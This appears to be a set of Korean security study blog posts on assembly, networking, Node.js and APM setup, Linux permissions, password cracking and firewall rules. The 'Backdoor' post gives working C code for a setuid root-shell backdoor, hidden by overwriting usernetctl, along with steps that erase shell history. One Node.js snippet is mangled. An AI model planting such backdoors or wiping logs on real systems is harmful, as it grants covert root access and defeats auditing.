어셈블리언어


어셈블리언어란?

기계어를 사람이 알아보기 쉬운 니모닉 기호(mnemonic symbol)를 사용해 1:1 대응이 되는 컴퓨터 프로그래밍의 저급 언어이다. 

* 기계어: 컴퓨터가 읽을 수 있는 2 진 숫자(Binary digit, 0 과 1)로 이루어진 언어. 

* 니모닉 기호: 기계어로 된 일련의 숫자를 알아보기 쉽게 언어(단어)로 바꿔준 것. 


- IA-32 레지스터(32bit) // IA -64 레지스터 (64bit) 는 E 대신 R이 붙음

EAX : 누산기 , 산술·연산저장 , 리턴값

EBX : 간접주소지정, 산술·연산저장 

ECX : 반복카운터(차감) , ECX > 0

EDX : EAX 보조역할 //리턴값이 32bit수를 넘어갈 때 나머지를 EDX에 저장

EBP : 스택프레임 기준

ESP : 스택프레임 최상단

ESI I: 출발지(Source) 주소를 담는 공간 

EDI I: 목적지(Destination) 주소를 담는 공간 

EIP I: 다음 실행될 명령어의 주소를 담고 있는 레지스터

EFLAGS : [상태값 : 0(clear), 1(set)], AF,CF,OF,PF,SF,ZF 

  ZF: 산술연산결과가 0일 때 1로 set 되는 flag 

  ex) 1+1 = 2 ZF : 0 

      1-1 = 0 ZF : 1


- 데이터 형식

 BYTE 

 부호 없는 1 byte 

 WORD

 부호 없는 2 byte 

 DWORD

 부호 없는 4 byte 


- INC //operand의 값 1 증가

#include<stdio.h>

int main(){

int a=0;


_asm{ //_asm{} -> 인라인 어셈블러

INC a //or INC [EBP-0x04]

}


printf("%d\n",a);


return 0;

}


- DEC //operand의 값 1 감소

#include<stdio.h>

int main(){

int a=1;


_asm{

DEC a //or DEC [EBP-0x04]

}

printf("%d\n",a);


return 0;

}


- ADD //덧셈

#include<stdio.h>

int main(){

int a=0;


_asm{

ADD a, 0x05

}

printf("%d\n",a);


return 0;

}


- SUB //뺄셈

#include<stdio.h>

int main(){

int a=1;


_asm{

SUB a, 0x01

}

printf("%d\n",a);


return 0;

}


- MOV //복사,대입

#include<stdio.h>

int main(){

int a=0;


_asm{

MOV a, 0x02

}

printf("%d\n",a);


return 0;

}


ex) 예제문제

#include<stdio.h>

int main(){

int a,b,c,d;

a=b=c=0;


_asm{

MOV a , 0x03 // a주소에 3 대입

MOV b , 0x05 // b주소에 5 대입

MOV c , 0x0A // c주소에 10 대입

INC [EBP-0x08] // b주소에 1 증가

DEC [EBP-0x0C] // c주소에 1 감소

MOV EAX,[EBP-0x08] // EAX에 b주소에 있는 값 대입 

ADD EAX,[EBP-0x0C] // EAX(b) , c주소에 있는 값 두 개 더해서 EAX에 대입

MOV [EBP-0x04],EAX // a주소에 EAX값 대입

MOV EBX,[EBP-0x04]

SUB EBX,[EBP-0x0C]

MOV [EBP-0x08], EBX

}

printf("%d\n",a);

printf("%d\n",b);

printf("%d\n",c);

return 0;

}



- AND 

#include<stdio.h>

int main(){

int a=10;


_asm{

AND a, 0x06 

}

printf("%d\n",a);


return 0;

}


- OR

#include<stdio.h>

int main(){

int a=20;


_asm{

OR a, 0x0C

}

printf("%d\n",a);


return 0;

}


- XOR

#include<stdio.h>

int main(){

int a=12;


_asm{

XOR a, 0x08

}

printf("%d\n",a);


return 0;

}


- SHL & SHR //bit 이동

#include<stdio.h>

int main(){

int a=4;

printf("%d\n",a);


_asm{

SHL a, 0x01 //×2

}

printf("%d\n",a);

_asm{

SHR a, 0x02 //÷2

}

printf("%d\n",a);

return 0;

}

- PUSH & POP //push 한 만큼 pop 해야함

#include<stdio.h>

int main(){

int a=0;

_asm{

 push a

 push 0x10

 push eax

 

 pop eax

 pop a

 pop ebx

}

printf("%d\n",a);

return 0;

}


- PUSHAD //EAX->ECX->EDX->EBX->ESP->EBP->ESI->EDI , PUSH만 했기 때문에 에러남!

#include<stdio.h>

int main(){

int a=0;

_asm{

PUSHAD //범용 레지스터의 값들을 스택에 저장 = 백업하는 용도 

}

printf("%d\n",a);

return 0;

}

- POPAD 

#include<stdio.h>

int main(){

int a=0;

_asm{

POPAD //스택의 데이터를 범용 레지스터에 채움 

}

printf("%d\n",a);

return 0;

}


- PTR //데이터 타입 재정의

#include<stdio.h>

int main(){

int a = 1;

printf("%x\n",a); //1

_asm{

MOV WORD PTR a, 0x11111111

}

printf("%x\n",a); //1111

_asm{

MOV DWORD PTR a, 0x11111111

}

printf("%x\n",a); //11111111


return 0;

}


- OFFSET //전역변수 주소값 구하기

#include<stdio.h>

int g=10;

int main(){

int addr = 0;

int val = 0;

_asm{

MOV EAX, OFFSET g //데이터 세그먼트(영역) 시작부터의 상대적 거리값

MOV addr , EAX


MOV EBX, [EAX]

MOV val, EBX

}

printf("%x\n",addr);

printf("%x\n",val);

return 0;

}


- LEA //주소값 구하기

#include<stdio.h>

int main(){

int a = 4;

printf("%.8x\n",a);

printf("%.8x\n",&a);

_asm{

MOV EAX, [EBP-0x04]

MOV a, EAX

}

printf("%.8x\n",a);

_asm{

LEA EAX, [EBP-0x04]

MOV a, EAX

}

printf("%.8x\n",a);

return 0;

}


- STOS // EDI가 가르키는 주소에 EAX 값을 저장

#include<stdio.h>

int main(){

char Buffer[20];

      _asm{

MOV EAX, 0x00

LEA EDI, DWORD PTR [Buffer]

STOS DWORD PTR [EDI]

      }

printf("%s\n",Buffer);

      return 0;

}

- REP //Repeat , STOS,MOVS,SCAS 에서 사용가능

#include<stdio.h>

int main(){

char Buffer[20];

      _asm{

MOV EAX, 0x00

LEA EDI, DWORD PTR [Buffer]

MOV ECX, 0x05

REP STOS DWORD PTR [EDI]

      }

printf("%s\n",Buffer);

      return 0;

}

- MOVS //ESI가 가리키는 곳에 값을 EDI가 가리키는 곳에 복사(대입)

#include<stdio.h>

#include<string.h>

int main(){

char * str1 = "Hello~ world!!!";

      char str2[20];

      int Len = strlen(str1);

      _asm{ //strcpy 구현

MOV ESI, DWORD PTR [str1]

LEA EDI, DWORD PTR [str2]

MOV ECX, Len

REP MOVS BYTE PTR [EDI], BYTE PTR[ESI]

MOV BYTE PTR [EDI], 0x00

      }

printf("%s\n",str2);

      return 0;

}


- TEST //묵시적 AND 연산 , OPRAND에는 영향을 미치지 않음 , ZF:0

#include<stdio.h>

int main(){

int a = 3;

_asm{

TEST a, 0x02 

//ex) TEST EAX, EAX 리턴값이 NULL이 아닌지 확인

}

printf("%d\n",a);

return 0;

}


- CMP //내부적으로 - 연산

#include<stdio.h>

int main(){

int a = 5;

_asm{

CMP a, 0x05 //OPRAND에는 영향을 미치지 않음 

//CF:부호없는 산술연산 결과(음수 포함)가 너무 커서 담을 수 없을 때 1로 set 되는 flag , ZF:0

}

printf("%d\n",a);

return 0;

}


ex) CMP 5, 6 = -1 ZF:0 CF:1

ex) CMP 6, 5 = 1  ZF:0 CF:0

ex) CMP 5, 5 = 0  ZF:1 CF:0


- JMP//지정한 위치 이동에 사용

#include<stdio.h>

int main(){

int a = 5;

_asm{

JMP L1

MOV a, 0x09


L1: //레이블은 인라인 어셈 안이나 밖이나 사용 가능

MOV a, 0x01

}

printf("%d\n",a);

return 0;

}


- 조건 점프 명령

 JA 

 CMP a > b

 JB

 CMP a < b

 JE

 CMP a == b

 JNE

 CMP a != b

 JZ

 TEST EAX, EAX (EAX = 0), ZF = 1

 JNZ

 TEST EAX, EAX (EAX = 1), ZF = 0


 JAE

 CF = 0 and ZF = 0 

 JBE

 CF = 1 and ZF = 1 

 JC

 CF = 1 

 JCXZ

 CX = 0 

 JECXZ

 ECX = 0 

 JG

 ZF = 0 and SF == OF 


- call
 
//레이블은 인라인 어셈 안이나 밖이나 사용 가능

#include<sdtio.h>

int sum(){

int a = 0;

int b = 2;

printf("Result\n");

return a + b;


}

int main(){

int result =0;

printf("%d\n", result);

_asm{

CALL sum

MOV result, EAX

}

printf("%d\n",result);

return 0;

}


- RET (== RETN) //ESP 레지스터가 가리키는 값을 EIP 레지스터에 저장

호출한 함수가 명령을 마치고 돌아갈 주소를 지정한 공간이다. 

인자를 정리할 때 사용한다. * RET imm8 = RET 0~255 

ex) RET 8 -> ESP 를 8bit 만큼 증가 

 

- NOP //아무 일도 하지 않는 명령어 

1byte 의 크기를 가지며 16 진수로 0x90 이다. 

명령어 사이의 빈공간을 채워주는 역할을 한다. 

- 바이너리 디버거 다운로드

OllyDBG          http://www.ollydbg.de/

Immunity DBG    http://debugger.immunityinc.com/

IDA Pro          https://www.hex-rays.com/products/ida/support/download.shtml

WinDBG          https://msdn.microsoft.com/ko-kr/windows/hardware/hh852365.aspx



'보안 > 리버싱' 카테고리의 다른 글

Reversing -3 함수호출규약  (0) 2017.02.01
Reversing -2 레지스터  (0) 2017.02.01

정보 통신과 프로토콜


- 정보와 데이터

데이터 : 인간이나 컴퓨터가 처리할 수 있도록 간단히 문자, 숫자, 기호 등으로 표현

정보 : 특정 목적을 위해 의미를 부여한 데이터


- 정보 통신

정보 생산자로부터 그 정볼르 필요로 하는 소비자에게 전달하는 행위


-보안성 3가지

· 기밀성

· 가용성

· 무결성


-프로토콜

네트워크 장비들을 통해 각 컴퓨터들이 데이터를 주고 받는 규칙


-프로토콜의 기능

· 주소지정(Addressing) : 하나의 개체가 상대 개체에 데이터를 전송할 경우 상대의 이름을 알아야 함

  출발지 -> 보내는 사람 -> src -> SA (Source Address)

  도착지 -> 받는 사람 -> dst -> DA (Destination Address)

  주소 타입(ip,mac)


· 순서지정(Sequencing) : 프로토콜 데이터 단위가 전송될 때 보내지는 순서를 명시하는 기능 (연결지향형에만 사용)

                   순서를 지정하는 이유는 순서에 맞게 전달, 흐름제어 ,오류제어 위함


· 단편화와 재조합(Fragmentation and Reassembly)

  최대 전송단위 -> MTU : 1500 byte

  최소 전송단위 -> MINTU : 46 byte

'보안 > 네트워크해킹' 카테고리의 다른 글

NetworkHacking -4 Wireshark  (0) 2016.09.07
NetworkHacking -3 네트워크 개요Ⅱ  (0) 2016.05.18
NetworkHacking -2 네트워크 개요Ⅰ  (0) 2016.05.17

간단한 서버 구축


· C드라이브에 디렉터리(폴더)를 생성시킨 후 server.js파일을 저장합니다.

--server.js--

const http = require('http');

const hostname = '127.0.0.1';

const port = 1337;

http.createServer((req, res) => {

  res.writeHead(200, { 'Content-Type': 'text/plain' });

  res.end('Hello World\n');

}).listen(port, hostname, () => {

  console.log(`Server running at http://${hostname}:${port}/`);

});


1. cmd를 열어 server.js파일이 있는 디렉터리로 이동합니다.


2. node server.js 입력하면 서버가 올라갑니다.


3. localhost:1337 or 127.0.0.1 을 입력하면 위에 있는 화면이 보입니다.


외부에서 자기아이피로 서버 접근하기


-ttp = require('http');


const port = 1337;


http.createServer((req, res) => {

  res.writeHead(200, { 'Content-Type': 'text/plain' });

  res.end('Hello World\n');

}).listen(port, () => {

  console.log(`Server running at http:// ip :${port}/`);

});


*hostname 부분을 지우고 node명령어로 실행시켜주시면 됩니다.-server.js--

const h


'개발 > Node.js' 카테고리의 다른 글

Node.js -1 Node.js & NPM(Node Pakaged Modules) 설치  (0) 2016.05.02

Node.js & NPM(Node Packaged Modules) 설치


- Node.js 다운로드 https://nodejs.org/ko/


        

* 자기에게 맞는 버전을 보고 설치합니다.


- NPM 설치

1. 원하는 위치에서 폴더를 생성합니다. (C드라이브에 node라는 폴더 생성했습니다.)

2. cmd창을 열어 npm 명령어를 사용합니다.

  ex) cd c:\node

      npm init //모듈 받는 폴더를 지정, 몇가지 입력할게 나오는데 다 엔터 눌러서 넘깁니다.

      npm install fs --save //fs 는 파일시스템을 편하게 이용할 수 있는 모듈
      npm install express --save //express 설치

      npm install jade --save //템플릿 엔진 설치, http://expressjs.com/ko/guide/using-template-engines.html 템플릿 엔진 설명

NPM 설치 목록 보기: npm list //package.json 파일을 열어 확인할수있습니다.

NPM 제거 : npm uninstall 모듈명

'개발 > Node.js' 카테고리의 다른 글

Node.js -2 간단한 서버 구축  (0) 2016.05.03

- APMSETUP 설치

APMSETUP다운로드  ◀ APMSETUP 설치프로그램을 다운받아 설치 합니다.


구글이나 익스플로어를 열어 주소창에 localhost 를 입력해서 아래 그림이 나오면 설치 완료.




- 업데이트 버전 발견 팝업창 없애기

작업표시줄에 있는 APMSETUP 모니터 아이콘 우클릭 시 아래에 있는 화면이 나옵니다.




1. 서버 환경 설정(V) 클릭 

2. 체크 해제하고 저장 버튼을 클릭하면 끝납니다.




- Apache 설정

Listen : 포트번호 

ServerName : 서버의 주소 (도메인) //localhost = 127.0.0.1

ServerAdmin : 관리자이메일 입력하는 곳

DocumentRoot : 웹서버 경로

DirectoryIndex : 웹서버에 접속할 때 기본적으로 실행되는 파일명


여기서, Listen , ServerName 을 수정해야 합니다.

* 포트 인바운드 규칙 추가 하기

Listen : 80 //기본설정 , HTTP 서버는 80 포트

80포트로 접속이 안된다면 8080 이나 남는 포트번호를 설정해주시면 됩니다. 

ServerName : 자기의 아이피 입력 //cmd창에서 ipconfig로 확인



-MySQL 설정

* InnoDB 설정 & 동시 사용자 설정 & UTF-8 설정

C:\APM_Setup\Server\MySQL5\data의 my.ini를 C:\APM_Setup\Server\MySQL5로 복사 //두 경로에 모두 my.ini 파일있어야합니다.


<my.ini 파일 캡처>

[mysqld]

character-set-server = utf8

collation-server = utf8_general_ci

init_connect = SET collation_connection = utf8_general_ci

init_connect = SET NAMES utf8

      (생략)

default-storage-engine=innodb

max_connections = 500 

wait_timeout = 60


[mysqldump]

default-character-set = utf8


[mysql]

default-character-set = utf8


* my.ini 파일 설정을 저장한 후 재시작



- Apache (httpd.conf 설정)

C:\APM_Setup\Server\Apache\conf 안에 httpd.conf 파일 설정

한글 지원 설정

php 연동 설



- 외부에서 phpmyadmin 접속 설정

C:\APM_Setup\Server\Apache\conf\extra 안에 httpd-alias.conf 파일 설정


#

# Alias 설정

#


<IfModule alias_module>


    Alias /myadmin/ "C:/APM_Setup/Server/phpMyAdmin/"

    <Directory "C:/APM_Setup/Server/phpMyAdmin">

        Options MultiViews

        AllowOverride None

        Order deny,allow

deny from all

        Allow from 127.0.0.1

    </Directory>


# 외부 접속 가능하게 하려면 아래 설정처럼 변경하여 주시기 바랍니다.


#    <Directory "C:/APM_Setup/Server/phpMyAdmin">

#        Options MultiViews

#        AllowOverride None

#        Order allow,deny

#        Allow from all

#    </Directory>


</IfModule>


 < httpd-alias.conf 원본내용>



#
# Alias 설정
#

<IfModule alias_module>

    Alias /myadmin/ "C:/APM_Setup/Server/phpMyAdmin/"
    <Directory "C:/APM_Setup/Server/phpMyAdmin">
        Options MultiViews
        AllowOverride None
        Order allow,deny
Allow from all
    </Directory>

# 외부 접속 가능하게 하려면 아래 설정처럼 변경하여 주시기 바랍니다.

#    <Directory "C:/APM_Setup/Server/phpMyAdmin">
#        Options MultiViews
#        AllowOverride None
#        Order allow,deny
#        Allow from all
#    </Directory>

</IfModule>

     < httpd-alias.conf 수정내용>

* 포트 3306(Mysql 포트) 인바운드 해줄 것!
Windows 방화벽 -> 고급설정 -> 인바운드 규칙 -> 새 규칙 -> 3306포트 추가


tar 명령어 옵션

 -z 

 gzip으로 압축하거나 해제함

 -x

 tar 압축을 풀기

 -v

 묶거나 파일을 풀 때 과정을 화면으로 출력

 -f

 파일 이름을 지정

 -c

 파일을 tar로 묶음

 -p

 파일 권한을 저장

 -C

 경로를 지정


tar 압축 : tar -cvf [파일명.tar] [폴더명]

tar 압축 풀기 : tar -xvf [파일명.tar]

tar.gz 압축 : tar -zcvf [파일명.tar.gz] [폴더명]

tar.gz 압축 풀기 : tar -zxvf [파일명.tar.gz]

'보안 > Linux' 카테고리의 다른 글

Linux -19 Firewall , TCP wrapper , Iptables  (0) 2016.04.18
Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

Backdoor


- 정의

· 시스템 접근에 대한 사용자의 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다.

· 해킹 성공 후의 후속조치이다. (크래커)

· 개발 과정 및 원격에서 문제 해결에 필요한 통로이다. (관리자)


- 백도어 종류

· 로컬 백도어

· 원격 백도어

· 원격 GUI 백도어

· 패스워드 크래킹 백도어

· 시스템 설정변경

· 트로이 목마형

· 거짓 업그레이드

· 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어

· TCP/IP 프로토콜을 이용한 Shell binding 백도어

· Kernel 모듈을 수정한 백도어

· 방화벽을 우회하는 백도어


- 로컬 백도어

vi back.c //vi에디터로 back.c 라는 파일을 만듬

#include<stdio.h>

int main (){

        printf("usage: usernetctl <interface-config> <up|down|report>\n");

        setuid(0);

        setgid(0);

        system("/bin/bash");

}

gcc -o back back.c //back.c 소스 코드를 컴파일하고 실행 파일을 빌드

chmod 4755 back //back라는 파일에 권한부여

find / -perm +4000 1> /dev/null //에러값 보기

find / -perm +4000 2> /dev/null //에러값 제외하고 보기

/usr/sbin/usernetctl //필요없는 파일

mv /tmp/back /usr/sbin/usernetctl //back이라는 파일을 usernetctl로 덮어씌워 은닉하기

다른 계정이 /usr/sbin/usernetctl 을 실행 시 root계정으로 바뀐다.

- 은닉 & 탐지

[은닉] -기본 setuid 프로그램 바꿈


[탐지]

1.history //단점 : 시간 기록 X

  history -c //사용한 명령어 내용 지우기


2.find

find / -perm +4000 2>/dev/null

find / -perm +4000 1>/dev/null

-name : 이름을 기준으로 찾는다.

-perm : 퍼미션을 기준으로 찾는다.


3.find / -atime n

-atime : 접근 시간(n일 이전에 접근할 파일을 찾을 때)

->파일을 오픈하면 atime 갱신

-ctime : 변경 시간(n일 이전에 변경된 파일을 찾을 때)

->속성값이 바뀐 시점(퍼미션, 소유주 등 파일의 속성값이 변경)

-mtime : 수정 시간(n일 이전에 수정된 파일을 찾을 때)

->파일의 내용이 바뀌었을 때

-n은 n 이하를 반환

+n은 n 이상을 반환 

find / -ctime -1 -perm +4000 <--24시간 내에 생성된 setuid 파일


.bash_history 찾

find / -name .bash_history //.bash_history 찾기

.bash_history 파일 //각 계정마다 사용했던 명령어들 기록이 있음


.bash_history 링크 걸기

rm -rf .bash_history

ln -s /dev/null .bash_history


.bash_history 생성 X

find / -name /root/.bash_profile(각 계정마다 환경을 설정

export HISTSIZE=0 이나 export HISTFILE=/dev/null


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -2 Setuid  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

SETUID


권한상승


-수치표현

SetUID : 4000

SetGID : 2000

Sticky-bit :1000 (공용 디렉터리) //tmp , 관리자,파일 소유자가 아니면 수정,삭제 불가


- Real User ID (RUID) // RUID = UID , RGID = GID

부모의 User ID와 동일(변경하지 않는 한)

프로세스를 시작하는 사용자를 결정하는데 사용


- Effective User ID (EUID) 

syscall과 실행파일에 Set User ID bit로 설정

프로세스에 대한 권한을 결정한다.


- Saved User ID (SUID)

이전 EUID를 복원할 수 있음


- 권한 변경 syscall

1. setuid : 프로세스의 ruid,euid,suid를 변경한다. 단 호출자가 root가 아닌 경우 euid만 변경한다. ex) setuid(500);

2. seteuid : 프로세스의 euid를 변경한다. ex) seteuid(500);

3. setreuid : 프로세스의 ruid,euid를 변견한다. ex) setreuid(500,500)

4. getuid : 프로세스의 Real UID를 반환한다. ex) getuid();

5. geteuid : 프로세스의 Effective UID를 반환한다. ex) geteuid();


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -3 Backdoor  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

Password Cracking


- 크래킹 : 희생자에게 정신적,물리적 피해를 입히는 행위

- 식별 = ID(유일한 값)


- 인증 = PW(증명, 중복되어도 상관 없음)

  로그인 요청 등을 통해 통신 상에서 보내는 사람들의 자격검증


- 인증 수단 

1. 알고 있는 어떤것 : Password //빈번하게 사용되는 인증 수단

2. 가지고 있는 어떤것 : Credit Card, RFID Card

3. 자신의 어떤것 : 지문, 망막, 음성, 서명

4. 자신이 있는곳 : 위치


- 취약한 패스워드의 분류

1. 길이가 너무 짧거나(4자리 이하) 아예 패스워드가 설정되어 있지 않은 경우

2. 사전에 나오는 단어나 이들의 조합

3. 키보드 자판의 나열

4. 사용자 계정 정보에서 유추한 단어


변수 : 영어(대/소문자),숫자,특수문자

·2가지 변수 -> 10자리 이상 //안전

·3가지 변수 -> 8자리 이상 //안전


- 해시와 암호화
* 운영체제에서 패스워드 숨기는 방법은 해시와 암호화

1. 해시 //한 방향 암호화 , 해시된 문자열은 역해시가 불가능 , 무결성 검사 시 많이 사용
임의의 데이터로 부터 일종의 짧은 문자열로 만들어내는 방법이다.
해시함수는 데이터를 자르고 치환하거나 위치를 바꾸는 등의 방법을 사용해 결과를 만들어내며, 
이 결과를 해시 값이라 한다.

2. 암호화 //양방향 암호화
특별한 지식을 소유한 사람을 제외하고는 누구든지 읽어볼 수 없도록 알고리즘을 이용해 데이터를 전달하는 것이다.
이러한 과정을 통해 암호화된 정보를 생성할 수 있으며, 암호화된 정보는 복호화하여 다시 읽을 수 있다.

- Salt
패스워드는 해시와 암호화 알고리즘으로 변경하여 저장한다.
예를 들어 test1,test2 계정의 패스워드가 1234로 동일할 경우 암호화 및 해시 모두 똑같은 값으로 저장될 것이다.
Salt는 똑같은 패스워드를 숨기기 위한 첨가물이며, 패스워드 크래킹을 어렵게 만드는 보안 강화 기법이다.
리눅스 cat /etc/shadow 에서 확인해보자.
첫번째$ : md5
두번째$ : Salt(Salt값)
세번째$ : Salt+PW

openssl passwd -1 -salt salt값
openssl : 공개 암호화 라이브러리


- 패스워드 크래킹 방법론
1. 사전 대입 공격(Dictionary Attack)
·사용자의 패스워드에 특정 패던이 존재함을 착안
·패스워드로 사용될만한 것들을 사전파일으로 만든 뒤 하나씩 대입
·공격 대상의 개인정보를 안다면 효율적
·용량이 크면 클수록 좋음

2.하이브리드 공격(Hybrid Attack)  
·경험이 높은 사용자의 경우에는 효과가 높지만, 경험이 미비한 사용자의 경우에는 역효과.
단점:추측 잘못한 경우 오래걸림

3. 무작위 대입 공격(Brute Force Attack)
사전 공격 실패 시 사용
영어, 숫자, 특수문자 패턴 중 선택한 패턴과 길이만 선택한 후 모든 가능한 경우의 수로 공격시도
짧은 길이와 단순한 패턴에 효율적
언제가는 뚫리지만 정확히 언제인지는 알 수 없다.관제서비스에서 필터링 되어 질 확률이 높음.
장점:가장정확
단점:오래걸림
4. 레인보우 테이블 공격
패스워드 별로 해시 값을 미리 생성해 놓은 것
크래킹 하고자 하는 값을 테이블에서 검색해서 역으로 패스워드를 찾음
모든 패스워드에 대한 해시 값을 구한다면 용량은 수치화 불가
레인보우 테이블의 핵심은 R(Reduction)함수를 이용해 작은 크기로 줄이는 것에 있음

R함수
해시 테이블은 작은 크기로 줄이기 위함
해시 테이블의 해시 값으로 패스워드 문자열을 만들어 내는 함수
MD5 해시 값 중 앞의 6개 숫자만 뽑아낸다고 가정
MD5 해시 생성과 R함수 동작의 반복을 체인이라 칭함
일반적으로 체인은 몇 천번에 걸쳐 형성


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -3 Backdoor  (0) 2016.04.28
SystemHacking -2 Setuid  (0) 2016.04.28

리눅스 보안


-Firewall

기업이나 조직의 모든 정보가 컴퓨터에 저장되면서 ,컴퓨터의 정보 보안을 위해

외부에서 내부, 내부에서 외부의 정보통신망에 불법으로 접근하는 것을 차단하는 시스템


-TCP wrapper

특정 호스트가 해당 호스트의 데몬 서비스 접근 시 제어

/etc/hosts.deny //차단

/etc/hosts.allow //허가


deny (차단)

데몬명(서비스타입):IP

/etc/hosts.deny

ex)in.telnetd:192.168.0.XXX //특정아이피차단

ex)in.telnetd:ALL //모두 차단

ex)ALL:ALL //모든 서비스,접근하는 사용자 차단


allow (허가) //차단 보다 허가 우선순위가 높음

/etc/hosts.allow

ex)in.telnetd:192.168.0.XXX 


vi /etc/hosts.deny

ex)sshd:192.168.0.XXX //특정아이피 차단

ex)sshd:ALL // 모든 접근하는 사용자 차단

vi /etc/hosts.allow

ex)sshd:192.168.0.XXX //모두 차단된 경우 allow에 아이피 추가한다면 접근 가능


- Iptables


방화벽의 의미

특정 호스트가 해당 호스트에 접근하는 것을 제어


NAT 

네트워크 주소변환 서비스

SNAT: 내부 -> 외부

DNAT: 외부 -> 내부


Iptables Command


 -A 

 새로운 한가지 정책을 생성

 -D

 기존 한가지 정책을 삭제

 -L

 설정되어 있는 정책 목록 조회

 -F

 설정되어 있는 모든 정책 삭


-s : source address

-d : destination address

-p : protocol name

-i : input interface (INPUT, FORWARD chain에서 사용 가능)

-o : output interface (OUTPUT chain에서 사용 가능)

-j : command 이 후에 붙이는 옵션

ACCEPT : 패킷을 허용
DROP : 패킷을 허용하지 않으며, 허용하지 않는 메세지를 보내지 않음

-A INPUT -m state --state NEW -m tcp -p tcp -s 192.168.0.XXX --dport 80 -j DROP


-A 룰 추가, INPUT 들어오는 데이터, 기본으로 제공, -p tcp(프로토콜이름), -s 자기아이피(출발지), --dport 80(도착지포트) -j ACCEPT(허가)/DROP(차단)

'보안 > Linux' 카테고리의 다른 글

Linux -20 tar,gz 압축 & 압축풀기  (0) 2016.05.01
Linux -18 Zeroboard  (0) 2016.04.18
Linux -17 APM , APM Install  (0) 2016.04.15
Linux -16 Daemon System Log  (0) 2016.04.12
Linux -15 Package Install Ⅱ  (0) 2016.04.12

+ Recent posts